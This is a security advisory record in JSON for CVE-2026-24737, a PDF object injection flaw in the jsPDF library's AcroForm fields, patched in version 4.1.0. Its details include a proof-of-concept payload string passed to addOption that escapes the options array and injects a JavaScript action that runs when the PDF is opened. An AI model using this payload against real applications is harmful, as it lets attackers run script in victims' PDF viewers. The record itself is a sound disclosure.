{"id":"CVE-2026-24737","aliases":["GHSA-pqxr-3g65-p328"],"url":"https://o3.security/vulnerability/CVE-2026-24737","summary":"jsPDF has a PDF Injection in AcroFormChoiceField which allows Arbitrary JavaScript Execution","details":"### Impact\n\nUser control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:\n\n* `AcroformChoiceField.addOption`\n* `AcroformChoiceField.setOptions`\n* `AcroFormCheckBox.appearanceState`\n* `AcroFormRadioButton.appearanceState`\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"jspdf\"\nconst doc = new jsPDF();\n\nvar choiceField = new doc.AcroFormChoiceField();\nchoiceField.T = \"VulnerableField\";\nchoiceField.x = 20;\nchoiceField.y = 20;\nchoiceField.width = 100;\nchoiceField.height = 20;\n\n// PAYLOAD:\n// 1. Starts with \"/\" to bypass escaping.\n// 2. \"dummy]\" closes the array.\n// 3. \"/AA\" injects an Additional Action (Focus event).\n// 4. \"/JS\" executes arbitrary JavaScript.\nconst payload = \"/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [\";\n\nchoiceField.addOption(payload);\ndoc.addField(choiceField);\n\ndoc.save(\"test.pdf\");\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.1.0.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.\n\n### Credits\nResearch and fix: Ahmet Artuç","published":"2026-02-02T20:29:05.011Z","modified":"2026-08-27T03:30:58.336903615Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"jspdf","fixedVersion":"4.1.0"}],"fix":{"url":"https://github.com/parallax/jsPDF/commit/da291a5f01b96282545c9391996702cdb8879f79","label":"parallax/jsPDF@da291a5"},"references":[{"type":"WEB","url":"https://github.com/parallax/jsPDF/releases/tag/v4.1.0"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24737.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:4466"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:4467"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-24737"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24737.json"},{"type":"ADVISORY","url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-pqxr-3g65-p328"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24737"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436115"},{"type":"FIX","url":"https://github.com/parallax/jsPDF/commit/da291a5f01b96282545c9391996702cdb8879f79"},{"type":"PACKAGE","url":"https://github.com/parallax/jsPDF"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T03:30:58.336903615Z"}}